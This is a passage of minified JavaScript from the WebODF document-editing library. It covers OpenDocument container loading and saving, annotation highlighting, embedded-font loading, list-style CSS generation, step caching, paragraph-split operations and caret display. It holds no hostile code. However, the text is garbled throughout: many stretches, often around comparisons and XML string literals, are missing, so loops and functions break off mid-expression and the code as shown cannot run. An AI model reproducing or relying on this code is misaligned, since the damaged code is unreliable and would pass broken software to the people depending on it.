annotation start, name: '"+b+"'"):runtime.log("Warning: annotation end without a name found"))),a=h.nextNode()}function r(a,c){for(var b=a&&a.firstChild;b;)b.nodeType===Node.ELEMENT_NODE&&b.setAttributeNS("urn:webodf:names:scope","scope",c),b=b.nextSibling}function z(a,c){for(var b=B.rootElement.meta,b=b&&b.firstChild;b&&(b.namespaceURI!==a||b.localName!==c);)b=b.nextSibling;for(b=b&&b.firstChild;b&&b.nodeType!==Node.TEXT_NODE;)b=b.nextSibling;return b? +b.data:null}function w(a){var c={},b;for(a=a.firstChild;a;)a.nodeType===Node.ELEMENT_NODE&&a.namespaceURI===p&&"font-face"===a.localName&&(b=a.getAttributeNS(p,"name"),c[b]=a),a=a.nextSibling;return c}function v(a,c){var b=null,d,h,e;if(a)for(b=a.cloneNode(!0),d=b.firstElementChild;d;)h=d.nextElementSibling,(e=d.getAttributeNS("urn:webodf:names:scope","scope"))&&e!==c&&b.removeChild(d),d=h;return b}function u(a,c){var b,d,h,e=null,m={};if(a)for(c.forEach(function(a){f.collectUsedFontFaces(m,a)}), +e=a.cloneNode(!0),b=e.firstElementChild;b;)d=b.nextElementSibling,h=b.getAttributeNS(p,"name"),m[h]||e.removeChild(b),b=d;return e}function t(a){var c=B.rootElement.ownerDocument,b;if(a){h(a.documentElement);try{b=c.importNode(a.documentElement,!0)}catch(d){}}return b}function A(a){B.state=a;if(B.onchange)B.onchange(B);if(B.onstatereadychange)B.onstatereadychange(B)}function I(a){Q=null;B.rootElement=a;a.fontFaceDecls=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","font-face-decls"); +a.styles=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","styles");a.automaticStyles=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","automatic-styles");a.masterStyles=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","master-styles");a.body=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","body");a.meta=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","meta");a.settings=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0", +"settings");a.scripts=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","scripts");g(a)}function K(c){var d=t(c),h=B.rootElement,e;d&&"document-styles"===d.localName&&"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===d.namespaceURI?(h.fontFaceDecls=n.getDirectChild(d,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","font-face-decls"),b(h,h.fontFaceDecls),e=n.getDirectChild(d,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","styles"),h.styles=e||c.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0", +"styles"),b(h,h.styles),e=n.getDirectChild(d,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","automatic-styles"),h.automaticStyles=e||c.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0","automatic-styles"),r(h.automaticStyles,"document-styles"),b(h,h.automaticStyles),d=n.getDirectChild(d,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","master-styles"),h.masterStyles=d||c.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0","master-styles"),b(h,h.masterStyles), +f.prefixStyleNames(h.automaticStyles,q,h.masterStyles)):A(a.INVALID)}function L(c){c=t(c);var d,h,e,m;if(c&&"document-content"===c.localName&&"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===c.namespaceURI){d=B.rootElement;e=n.getDirectChild(c,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","font-face-decls");if(d.fontFaceDecls&&e){m=d.fontFaceDecls;var g,k,O,q,D={};h=w(m);q=w(e);for(e=e.firstElementChild;e;){g=e.nextElementSibling;if(e.namespaceURI===p&&"font-face"===e.localName)if(k=e.getAttributeNS(p, +"name"),h.hasOwnProperty(k)){if(!e.isEqualNode(h[k])){O=k;for(var y=h,E=q,u=0,W=void 0,W=O=O.replace(/\d+$/,"");y.hasOwnProperty(W)||E.hasOwnProperty(W);)u+=1,W=O+u;O=W;e.setAttributeNS(p,"style:name",O);m.appendChild(e);h[O]=e;delete q[k];D[k]=O}}else m.appendChild(e),h[k]=e,delete q[k];e=g}m=D}else e&&(d.fontFaceDecls=e,b(d,e));h=n.getDirectChild(c,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","automatic-styles");r(h,"document-content");m&&f.changeFontFaceNames(h,m);if(d.automaticStyles&&h)for(m= +h.firstChild;m;)d.automaticStyles.appendChild(m),m=h.firstChild;else h&&(d.automaticStyles=h,b(d,h));c=n.getDirectChild(c,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","body");if(null===c)throw" tag is mising.";d.body=c;b(d,d.body)}else A(a.INVALID)}function E(a){a=t(a);var c;a&&"document-meta"===a.localName&&"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===a.namespaceURI&&(c=B.rootElement,c.meta=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","meta"), +b(c,c.meta))}function N(a){a=t(a);var c;a&&"document-settings"===a.localName&&"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===a.namespaceURI&&(c=B.rootElement,c.settings=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","settings"),b(c,c.settings))}function O(a){a=t(a);var c;if(a&&"manifest"===a.localName&&"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0"===a.namespaceURI)for(c=B.rootElement,c.manifest=a,a=c.manifest.firstElementChild;a;)"file-entry"===a.localName&&"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0"=== +a.namespaceURI&&(M[a.getAttributeNS("urn:oasis:names:tc:opendocument:xmlns:manifest:1.0","full-path")]=a.getAttributeNS("urn:oasis:names:tc:opendocument:xmlns:manifest:1.0","media-type")),a=a.nextElementSibling}function D(a,c,b){a=n.getElementsByTagName(a,c);var d;for(d=0;d'}function P(){var a=new xmldom.LSSerializer,c=R("document-meta");a.filter=new odf.OdfNodeFilter;c+=a.writeToString(B.rootElement.meta,odf.Namespaces.namespaceMap);return c+""}function aa(a,c){var b=document.createElementNS("urn:oasis:names:tc:opendocument:xmlns:manifest:1.0","manifest:file-entry");b.setAttributeNS("urn:oasis:names:tc:opendocument:xmlns:manifest:1.0","manifest:full-path",a);b.setAttributeNS("urn:oasis:names:tc:opendocument:xmlns:manifest:1.0", +"manifest:media-type",c);return b}function S(){var a=runtime.parseXML(''),c=a.documentElement,b=new xmldom.LSSerializer,d;for(d in M)M.hasOwnProperty(d)&&c.appendChild(aa(d,M[d]));b.filter=new odf.OdfNodeFilter;return'\n'+b.writeToString(a,odf.Namespaces.namespaceMap)}function fa(){var a,c,b,d=odf.Namespaces.namespaceMap, +h=new xmldom.LSSerializer,e=R("document-styles");c=v(B.rootElement.automaticStyles,"document-styles");b=B.rootElement.masterStyles.cloneNode(!0);a=u(B.rootElement.fontFaceDecls,[b,B.rootElement.styles,c]);f.removePrefixFromStyleNames(c,q,b);h.filter=new k(b,c);e+=h.writeToString(a,d);e+=h.writeToString(B.rootElement.styles,d);e+=h.writeToString(c,d);e+=h.writeToString(b,d);return e+""}function ha(){var a,c,b=odf.Namespaces.namespaceMap,h=new xmldom.LSSerializer,e=R("document-content"); +c=v(B.rootElement.automaticStyles,"document-content");a=u(B.rootElement.fontFaceDecls,[c]);h.filter=new d(B.rootElement.body,c);e+=h.writeToString(a,b);e+=h.writeToString(c,b);e+=h.writeToString(B.rootElement.body,b);return e+""}function C(c,b){runtime.loadXML(c,function(c,d){if(c)b(c);else if(d){V(d);W(d.documentElement);var h=t(d);h&&"document"===h.localName&&"urn:oasis:names:tc:opendocument:xmlns:office:1.0"===h.namespaceURI?(I(h),A(a.DONE)):A(a.INVALID)}else b("No DOM was loaded.")})} +function Z(a,c){var d;d=B.rootElement;var h=d.meta;h||(d.meta=h=document.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0","meta"),b(d,h));d=h;a&&n.mapKeyValObjOntoNode(d,a,odf.Namespaces.lookupNamespaceURI);c&&n.removeKeyElementsFromNode(d,c,odf.Namespaces.lookupNamespaceURI)}function ba(c,b){function d(a,c){var b;c||(c=a);b=document.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0",c);f[a]=b;f.appendChild(b)}var h=new core.Zip("",null),e="application/vnd.oasis.opendocument."+ +c+(!0===b?"-template":""),m=runtime.byteArrayFromString(e,"utf8"),f=B.rootElement,g=document.createElementNS("urn:oasis:names:tc:opendocument:xmlns:office:1.0",c);h.save("mimetype",m,!1,new Date);d("meta");d("settings");d("scripts");d("fontFaceDecls","font-face-decls");d("styles");d("automaticStyles","automatic-styles");d("masterStyles","master-styles");d("body");f.body.appendChild(g);M["/"]=e;M["settings.xml"]="text/xml";M["meta.xml"]="text/xml";M["styles.xml"]="text/xml";M["content.xml"]="text/xml"; +A(a.DONE);return h}function U(){var a,c=new Date,b="";B.rootElement.settings&&B.rootElement.settings.firstElementChild&&(a=new xmldom.LSSerializer,b=R("document-settings"),a.filter=new odf.OdfNodeFilter,b+=a.writeToString(B.rootElement.settings,odf.Namespaces.namespaceMap),b+="");(a=b)?(a=runtime.byteArrayFromString(a,"utf8"),Y.save("settings.xml",a,!0,c)):Y.remove("settings.xml");b=runtime.getWindow();a="WebODF/"+webodf.Version;b&&(a=a+" "+b.navigator.userAgent);Z({"meta:generator":a}, +null);a=runtime.byteArrayFromString(P(),"utf8");Y.save("meta.xml",a,!0,c);a=runtime.byteArrayFromString(fa(),"utf8");Y.save("styles.xml",a,!0,c);a=runtime.byteArrayFromString(ha(),"utf8");Y.save("content.xml",a,!0,c);a=runtime.byteArrayFromString(S(),"utf8");Y.save("META-INF/manifest.xml",a,!0,c)}function ga(a,c){U();Y.writeAs(a,function(a){c(a)})}var B=this,Y,M={},Q,F="";this.onstatereadychange=m;this.state=this.onchange=null;this.getMetadata=z;this.setRootElement=I;this.getContentElement=function(){var a; +Q||(a=B.rootElement.body,Q=n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","text")||n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","presentation")||n.getDirectChild(a,"urn:oasis:names:tc:opendocument:xmlns:office:1.0","spreadsheet"));if(!Q)throw"Could not find content element in .";return Q};this.getDocumentType=function(){var a=B.getContentElement();return a&&a.localName};this.isTemplate=function(){return"-template"===M["/"].substr(-9)}; +this.setIsTemplate=function(a){var c=M["/"],b="-template"===c.substr(-9);a!==b&&(c=a?c+"-template":c.substr(0,c.length-9),M["/"]=c,a=runtime.byteArrayFromString(c,"utf8"),Y.save("mimetype",a,!1,new Date))};this.getPart=function(a){return new odf.OdfPart(a,M[a],B,Y)};this.getPartData=function(a,c){Y.load(a,c)};this.setMetadata=Z;this.incrementEditingCycles=function(){var a=z(odf.Namespaces.metans,"editing-cycles"),a=a?parseInt(a,10):0;isNaN(a)&&(a=0);Z({"meta:editing-cycles":a+1},null);return a+1}; +this.createByteArray=function(a,c){U();Y.createByteArray(a,c)};this.saveAs=ga;this.save=function(a){ga(F,a)};this.getUrl=function(){return F};this.setBlob=function(a,c,b){b=e.convertBase64ToByteArray(b);Y.save(a,b,!1,new Date);M.hasOwnProperty(a)&&runtime.log(a+" has been overwritten.");M[a]=c};this.removeBlob=function(a){var c=Y.remove(a);runtime.assert(c,"file is not found: "+a);delete M[a]};this.state=a.LOADING;this.rootElement=function(a){var c=document.createElementNS(a.namespaceURI,a.localName), +b;a=new a.Type;for(b in a)a.hasOwnProperty(b)&&(c[b]=a[b]);return c}({Type:odf.ODFDocumentElement,namespaceURI:odf.ODFDocumentElement.namespaceURI,localName:odf.ODFDocumentElement.localName});c===odf.OdfContainer.DocumentType.TEXT?Y=ba("text"):c===odf.OdfContainer.DocumentType.TEXT_TEMPLATE?Y=ba("text",!0):c===odf.OdfContainer.DocumentType.PRESENTATION?Y=ba("presentation"):c===odf.OdfContainer.DocumentType.PRESENTATION_TEMPLATE?Y=ba("presentation",!0):c===odf.OdfContainer.DocumentType.SPREADSHEET? +Y=ba("spreadsheet"):c===odf.OdfContainer.DocumentType.SPREADSHEET_TEMPLATE?Y=ba("spreadsheet",!0):(F=c,Y=new core.Zip(F,function(c,b){Y=b;c?C(F,function(b){c&&(Y.error=c+"\n"+b,A(a.INVALID))}):J([{path:"styles.xml",handler:K},{path:"content.xml",handler:L},{path:"meta.xml",handler:E},{path:"settings.xml",handler:N},{path:"META-INF/manifest.xml",handler:O}])}))};odf.OdfContainer.EMPTY=0;odf.OdfContainer.LOADING=1;odf.OdfContainer.DONE=2;odf.OdfContainer.INVALID=3;odf.OdfContainer.SAVING=4;odf.OdfContainer.MODIFIED= +5;odf.OdfContainer.getContainer=function(a){return new odf.OdfContainer(a,null)}})();odf.OdfContainer.DocumentType={TEXT:1,TEXT_TEMPLATE:2,PRESENTATION:3,PRESENTATION_TEMPLATE:4,SPREADSHEET:5,SPREADSHEET_TEMPLATE:6};gui.AnnotatableCanvas=function(){};gui.AnnotatableCanvas.prototype.refreshSize=function(){};gui.AnnotatableCanvas.prototype.getZoomLevel=function(){};gui.AnnotatableCanvas.prototype.getSizer=function(){}; +gui.AnnotationViewManager=function(g,k,d,b){function f(c){var b=c.annotationEndElement,d=l.createRange(),e=c.getAttributeNS(odf.Namespaces.officens,"name");b&&(d.setStart(c,c.childNodes.length),d.setEnd(b,0),c=a.getTextNodes(d,!1),c.forEach(function(a){var c;a:{for(c=a.parentNode;c.namespaceURI!==odf.Namespaces.officens||"body"!==c.localName;){if("http://www.w3.org/1999/xhtml"===c.namespaceURI&&"webodf-annotationHighlight"===c.className&&c.getAttribute("annotation")===e){c=!0;break a}c=c.parentNode}c= +!1}c||(c=l.createElement("span"),c.className="webodf-annotationHighlight",c.setAttribute("annotation",e),a.parentNode.replaceChild(c,a),c.appendChild(a))}));d.detach()}function n(a){var b=g.getSizer();a?(d.style.display="inline-block",b.style.paddingRight=c.getComputedStyle(d).width):(d.style.display="none",b.style.paddingRight=0);g.refreshSize()}function p(){e.sort(function(a,c){return 0!==(a.compareDocumentPosition(c)&Node.DOCUMENT_POSITION_FOLLOWING)?-1:1})}function r(){var a;for(a=0;a=(n.getBoundingClientRect().top-r.bottom)/c?b.style.top=Math.abs(n.getBoundingClientRect().top-r.bottom)/c+20+"px":b.style.top="0px"): +b.style.top="0px";l.style.left=f.getBoundingClientRect().width/c+"px";var f=l.style,n=l.getBoundingClientRect().left/c,k=l.getBoundingClientRect().top/c,r=b.getBoundingClientRect().left/c,p=b.getBoundingClientRect().top/c,q=0,I=0,q=r-n,q=q*q,I=p-k,I=I*I,n=Math.sqrt(q+I);f.width=n+"px";k=Math.asin((b.getBoundingClientRect().top-l.getBoundingClientRect().top)/(c*parseFloat(l.style.width)));l.style.transform="rotate("+k+"rad)";l.style.MozTransform="rotate("+k+"rad)";l.style.WebkitTransform="rotate("+ +k+"rad)";l.style.msTransform="rotate("+k+"rad)"}}function q(a){var c=e.indexOf(a),b=a.parentNode.parentNode;"div"===b.localName&&(b.parentNode.insertBefore(a,b),b.parentNode.removeChild(b));a=a.getAttributeNS(odf.Namespaces.officens,"name");a=l.querySelectorAll('span.webodf-annotationHighlight[annotation="'+a+'"]');for(var d,b=0;bp||k.bottom>p)g.scrollTop=k.bottom-k.top<=p-f?g.scrollTop+(k.bottom-p):g.scrollTop+(k.top-f);k.leftn&&(g.scrollLeft=k.right-k.left<=n-b?g.scrollLeft+(k.right-n):g.scrollLeft-(b-k.left))}}}; +(function(){function g(d,n,k,r,q){var e,l=0,a;for(a in d)if(d.hasOwnProperty(a)){if(l===k){e=a;break}l+=1}e?n.getPartData(d[e].href,function(a,m){if(a)runtime.log(a);else if(m){var h="@font-face { font-family: "+(d[e].family||e)+"; src: url(data:application/x-font-ttf;charset=binary;base64,"+b.convertUTF8ArrayToBase64(m)+') format("truetype"); }';try{r.insertRule(h,r.cssRules.length)}catch(l){runtime.log("Problem inserting rule in CSS: "+runtime.toJson(l)+"\nRule: "+h)}}else runtime.log("missing font data for "+ +d[e].href);g(d,n,k+1,r,q)}):q&&q()}var k=xmldom.XPath,d=odf.OdfUtils,b=new core.Base64;odf.FontLoader=function(){this.loadFonts=function(b,n){for(var p=b.rootElement.fontFaceDecls;n.cssRules.length;)n.deleteRule(n.cssRules.length-1);if(p){var r={},q,e,l,a;if(p)for(p=k.getODFElementsWithXPath(p,"style:font-face[svg:font-face-src]",odf.Namespaces.lookupNamespaceURI),q=0;q text|list-item:first-child > :not(text|list):first-child:before',u+="{",u+="counter-increment: "+p+" 0;",u+="}",g(b,u));for(;l.counterIdStack.length>=k;)l.counterIdStack.pop();l.counterIdStack.push(p);t=l.contentRules[k.toString()]||"";for(u=1;u<=k;u+=1)t=t.replace(u+"webodf-listLevel",l.counterIdStack[u-1]);u='text|list[webodfhelper|counter-id="'+r+'"] > text|list-item > :not(text|list):first-child:before'; +u+="{";u+=t;u+="counter-increment: "+p+";";u+="}";g(b,u)}for(h=h.firstElementChild;h;)d(c,h,f,l),h=h.nextElementSibling}else l.continuedCounterIdStack=[]}var f=0,a="",c={};this.createCounterRules=function(a,b,n){var g=b.getAttributeNS(p,"id"),r=[];n&&(n=n.getAttributeNS("urn:webodf:names:helper","counter-id"),r=c[n].slice(0));a=new k(a,r);g?g="Y"+g:(f+=1,g="X"+f);d(g,b,0,a);c[g+"-level1-1"]=a.counterIdStack};this.initialiseCreatedCounters=function(){var c;c="office|document{"+("counter-reset: "+a+ +";");c+="}";g(b,c)}}var b=odf.Namespaces.fons,f=odf.Namespaces.stylens,n=odf.Namespaces.textns,p=odf.Namespaces.xmlns,r={1:"decimal",a:"lower-latin",A:"upper-latin",i:"lower-roman",I:"upper-roman"};odf.ListStyleToCss=function(){function k(a){var b=m.parseLength(a);return b?c.convert(b.value,b.unit,"px"):(runtime.log("Could not parse value '"+a+"'."),0)}function e(a){return a.replace(/\\/g,"\\\\").replace(/"/g,'\\"')}function l(a,c){var b;a&&(b=a.getAttributeNS(n,"style-name"));return b===c}function a(a, +c,b){c=c.getElementsByTagNameNS(n,"list");a=new d(a);var m,g,k,q,t,A,I={},K;for(K=0;K text|list-item > text|list",--x;x=E&&E.getAttributeNS(b,"text-align")||"left";switch(x){case "end":x="right";break;case "start":x="left"}"label-alignment"===N?(D=O&&O.getAttributeNS(b,"margin-left")||"0px",J=O&&O.getAttributeNS(b,"text-indent")||"0px",R=O&&O.getAttributeNS(n,"label-followed-by"),O=k(D)):(D=E&&E.getAttributeNS(n,"space-before")||"0px",V=E&&E.getAttributeNS(n,"min-label-width")||"0px", +W=E&&E.getAttributeNS(n,"min-label-distance")||"0px",O=k(D)+k(V));E=p+" > text|list-item";E+="{";E+="margin-left: "+O+"px;";E+="}";g(e,E);E=p+" > text|list-item > text|list";E+="{";E+="margin-left: "+-O+"px;";E+="}";g(e,E);E=p+" > text|list-item > :not(text|list):first-child:before";E+="{";E+="text-align: "+x+";";E+="display: inline-block;";"label-alignment"===N?(E+="margin-left: "+J+";","listtab"===R&&(E+="padding-right: 0.2cm;")):(E+="min-width: "+V+";",E+="margin-left: "+(0===parseFloat(V)?"": +"-")+V+";",E+="padding-right: "+W+";");E+="}";g(e,E)}d=d.nextElementSibling}});a(c,e,m)}}})();odf.LazyStyleProperties=function(g,k){var d={};this.value=function(b){var f;d.hasOwnProperty(b)?f=d[b]:(f=k[b](),void 0===f&&g&&(f=g.value(b)),d[b]=f);return f};this.reset=function(b){g=b;d={}}}; +odf.StyleParseUtils=function(){function g(d){var b,f;d=(d=/(-?[0-9]*[0-9][0-9]*(\.[0-9]*)?|0+\.[0-9]*[1-9][0-9]*|\.[0-9]*[1-9][0-9]*)((cm)|(mm)|(in)|(pt)|(pc)|(px))/.exec(d))?{value:parseFloat(d[1]),unit:d[3]}:null;f=d&&d.unit;"px"===f?b=d.value:"cm"===f?b=d.value/2.54*96:"mm"===f?b=d.value/25.4*96:"in"===f?b=96*d.value:"pt"===f?b=d.value/.75:"pc"===f&&(b=16*d.value);return b}var k=odf.Namespaces.stylens;this.parseLength=g;this.parsePositiveLengthOrPercent=function(d,b,f){var n;d&&(n=parseFloat(d.substr(0, +d.indexOf("%"))),isNaN(n)&&(n=void 0));var k;void 0!==n?(f&&(k=f.value(b)),n=void 0===k?void 0:k/100*n):n=g(d);return n};this.getPropertiesElement=function(d,b,f){for(b=f?f.nextElementSibling:b.firstElementChild;null!==b&&(b.localName!==d||b.namespaceURI!==k);)b=b.nextElementSibling;return b};this.parseAttributeList=function(d){d&&(d=d.replace(/^\s*(.*?)\s*$/g,"$1"));return d&&0n.value&&(m="0.75pt"+h);h=m}else if(V.hasOwnProperty(e[1])){var m= +a,f=e[0],n=e[1],g=J.parseLength(h),r=void 0,p=void 0,q=void 0,O=void 0,q=void 0;if(g&&"%"===g.unit){r=g.value/100;p=k(m.parentNode);for(O="0";p;){if(q=y.getDirectChild(p,l,"paragraph-properties"))if(q=J.parseLength(q.getAttributeNS(f,n))){if("%"!==q.unit){O=q.value*r+q.unit;break}r*=q.value/100}p=k(p)}h=O}}e[2]&&(b+=e[2]+":"+h+";")}return b}function b(a,c,b,d){return c+c+b+b+d+d}function f(a,c){var b=[a],d=c.derivedStyles;Object.keys(d).forEach(function(a){a=f(a,d[a]);b=b.concat(a)});return b}function n(a, +c,b,d){function e(c,b){var d=[],h;c.forEach(function(a){m.forEach(function(c){d.push('draw|page[webodfhelper|page-style-name="'+c+'"] draw|frame[presentation|class="'+a+'"]')})});0 +z&&(a=z);for(c=Math.floor(a/d)*d;!b&&0<=c;)b=m[c],c-=d;for(b=b||x;b.nextBookmark&&b.nextBookmark.steps<=a;)e.check(),b=b.nextBookmark;runtime.assert(-1===a||b.steps<=a,"Bookmark @"+p(b)+" at step "+b.steps+" exceeds requested step of "+a);return b}function a(a){a.previousBookmark&&(a.previousBookmark.nextBookmark=a.nextBookmark);a.nextBookmark&&(a.nextBookmark.previousBookmark=a.previousBookmark)}function c(a){for(var c,b=null;!b&&a&&a!==k;)(c=q(a))&&(b=h[c])&&b.node!==a&&(runtime.log("Cloned node detected. Creating new bookmark"), +b=null,a.removeAttributeNS("urn:webodf:names:steps","nodeId")),a=a.parentNode;return b}var m={},h={},y=core.DomUtils,x,z,w=Node.DOCUMENT_POSITION_FOLLOWING,v=Node.DOCUMENT_POSITION_PRECEDING;this.updateBookmark=function(c,b){var g,n=Math.ceil(c/d)*d,p,v,E;if(void 0!==z&&zp.steps)m[n]=v;r()};this.setToClosestStep=function(a,c){var b;r();b=l(a);b.setIteratorPosition(c); +return b.steps};this.setToClosestDomPoint=function(a,b,d){var e,h;r();if(a===k&&0===b)e=x;else if(a===k&&b===k.childNodes.length)for(h in e=x,m)m.hasOwnProperty(h)&&(a=m[h],a.steps>e.steps&&(e=a));else if(e=c(a.childNodes.item(b)||a),!e)for(d.setUnfilteredPosition(a,b);!e&&d.previousNode();)e=c(d.getCurrentNode());e=e||x;void 0!==z&&e.steps>z&&(e=l(z));e.setIteratorPosition(d);return e.steps};this.damageCacheAfterStep=function(a){0>a&&(a=-1);void 0===z?z=a:aa)throw new RangeError("Requested steps is negative ("+a+")");for(b=p.setToClosestStep(a,k);bq.comparePoints(g,0,a,b),a=g,b=b?0:g.childNodes.length);k.setUnfilteredPosition(a,b);n(k,h)||k.setUnfilteredPosition(a,b);h=k.container();b=k.unfilteredDomOffset();a=p.setToClosestDomPoint(h,b,k);if(0>q.comparePoints(k.container(),k.unfilteredDomOffset(),h,b))return 0=e.textNode.length?null:e.textNode.splitText(e.offset));for(c=e.textNode;c!==a;){c=c.parentNode;m=c.cloneNode(!1);h&&m.appendChild(h);if(y)for(;y&&y.nextSibling;)m.appendChild(y.nextSibling);else for(;c.firstChild;)m.appendChild(c.firstChild);c.parentNode.insertBefore(m,c.nextSibling);y=c;h=m}p.isListItem(h)&&(h=h.childNodes.item(0));n?h.setAttributeNS(r,"text:style-name",n):h.removeAttributeNS(r,"style-name");0===e.textNode.length&& +e.textNode.parentNode.removeChild(e.textNode);d.emit(ops.OdtDocument.signalStepsInserted,{position:b});x&&f&&(d.moveCursor(g,b+1,0),d.emit(ops.Document.signalCursorMoved,x));d.fixCursorPositions();d.getOdfCanvas().refreshSize();d.emit(ops.OdtDocument.signalParagraphChanged,{paragraphElement:l,memberId:g,timeStamp:k});d.emit(ops.OdtDocument.signalParagraphChanged,{paragraphElement:h,memberId:g,timeStamp:k});d.getOdfCanvas().rerenderAnnotations();return!0};this.spec=function(){return{optype:"SplitParagraph", +memberid:g,timestamp:k,position:b,sourceParagraphPosition:d,paragraphStyleName:n,moveCursor:f}}}; +ops.OpUpdateMember=function(){function g(d){var f="//dc:creator[@editinfo:memberid='"+k+"']";d=xmldom.XPath.getODFElementsWithXPath(d.getRootNode(),f,function(b){return"editinfo"===b?"urn:webodf:names:editinfo":odf.Namespaces.lookupNamespaceURI(b)});for(f=0;f=e.width&&(e=null),g.detach();else if(k.isCharacterElement(f.container)||k.isCharacterFrame(f.container))e=b.getBoundingClientRect(f.container); +return e}var k=odf.OdfUtils,d=new odf.StepUtils,b=core.DomUtils,f=core.StepDirection.NEXT,n=gui.StepInfo.VisualDirection.LEFT_TO_RIGHT,p=gui.StepInfo.VisualDirection.RIGHT_TO_LEFT;this.getContentRect=g;this.moveToFilteredStep=function(b,d,e){function l(a,b){b.process(w,h,k)&&(a=!0,!x&&b.token&&(x=b.token));return a}var a=d===f,c,m,h,k,x,z=b.snapshot();c=!1;var w;do c=g(b),w={token:b.snapshot(),container:b.container,offset:b.offset,direction:d,visualDirection:d===f?n:p},m=b.nextStep()?g(b):null,b.restore(w.token), +a?(h=c,k=m):(h=m,k=c),c=e.reduce(l,!1);while(!c&&b.advanceStep(d));c||e.forEach(function(a){!x&&a.token&&(x=a.token)});b.restore(x||z);return Boolean(x)}}; +gui.Caret=function(g,k,d,b){function f(){a.style.opacity="0"===a.style.opacity?"1":"0";t.trigger()}function n(){y.selectNodeContents(h);return y.getBoundingClientRect()}function p(a){return E[a]!==L[a]}function r(){Object.keys(L).forEach(function(a){E[a]=L[a]})}function q(){if(!1===L.isShown||g.getSelectionType()!==ops.OdtCursor.RangeSelection||!b&&!g.getSelectedRange().collapsed)L.visibility="hidden",a.style.visibility="hidden",t.cancel();else if(L.visibility="visible",a.style.visibility="visible", +!1===L.isFocused)a.style.opacity="1",t.cancel();else{if(A||p("visibility"))a.style.opacity="1",t.cancel();t.trigger()}if(K||I){var d;d=g.getNode();var e,h,f=z.getBoundingClientRect(x.getSizer()),q=!1,y=0;d.removeAttributeNS("urn:webodf:names:cursor","caret-sizer-active");if(0d.height&&(d={top:d.top-(8-d.height)/2,height:8,right:d.right});l.style.height=d.height+"px";l.style.top=d.top+"px"; +l.style.left=d.right-d.width+"px";l.style.width=d.width?d.width+"px":"";m&&(d=runtime.getWindow().getComputedStyle(g.getNode(),null),d.font?m.style.font=d.font:(m.style.fontStyle=d.fontStyle,m.style.fontVariant=d.fontVariant,m.style.fontWeight=d.fontWeight,m.style.fontSize=d.fontSize,m.style.lineHeight=d.lineHeight,m.style.fontFamily=d.fontFamily))}L.isShown&&I&&k.scrollIntoView(a.getBoundingClientRect());p("isFocused")&&c.markAsFocussed(L.isFocused);r();K=I=A=!1}function e(a){l.parentNode.removeChild(l); +h.parentNode.removeChild(h);a()}var l,a,c,m,h,y,x=g.getDocument().getCanvas(),z=core.DomUtils,w=new gui.GuiStepUtils,v,u,t,A=!1,I=!1,K=!1,L={isFocused:!1,isShown:!0,visibility:"hidden"},E={isFocused:!L.isFocused,isShown:!L.isShown,visibility:"hidden"};this.handleUpdate=function(){K=!0;u.trigger()};this.refreshCursorBlinking=function(){A=!0;u.trigger()};this.setFocus=function(){L.isFocused=!0;u.trigger()};this.removeFocus=function(){L.isFocused=!1;u.trigger()};this.show=function(){L.isShown=!0;u.trigger()}; +this.hide=function(){L.isShown=!1;u.trigger()};this.setAvatarImageUrl=function(a){c.setImageUrl(a)};this.setColor=function(b){a.style.borderColor=b;c.setColor(b)};this.getCursor=function(){return g};this.getFocusElement=function(){return a};this.toggleHandleVisibility=function(){c.isVisible()?c.hide():c.show()};this.showHandle=function(){c.show()};this.hideHandle=function(){c.hide()};this.setOverlayElement=function(a){m=a;l.appendChild(a);K=!0;u.trigger()};this.ensureVisible=function(){I=!0;u.trigger()}; +this.getBoundingClientRect=function(){return z.getBoundingClientRect(l)};this.destroy=function(a){core.Async.destroyAll([u.destroy,t.destroy,c.destroy,e],a)};(function(){var b=g.getDocument(),e=[b.createRootFilter(g.getMemberId()),b.getPositionFilter()],m=b.getDOMDocument();y=m.createRange();h=m.createElement("span");h.className="webodf-caretSizer";h.textContent="|";g.getNode().appendChild(h);l=m.createElement("div");l.setAttributeNS("urn:webodf:names:editinfo","editinfo:memberid",g.getMemberId()); +l.className="webodf-caretOverlay";a=m.createElement("div");a.className="caret";l.appendChild(a);c=new gui.Avatar(l,d);x.getSizer().appendChild(l);v=b.createStepIterator(g.getNode(),0,e,b.getRootNode());u=core.Task.createRedrawTask(q);t=core.Task.createTimeoutTask(f,500);u.triggerImmediate()})()}; +odf.TextSerializer=function(){function g(b){var 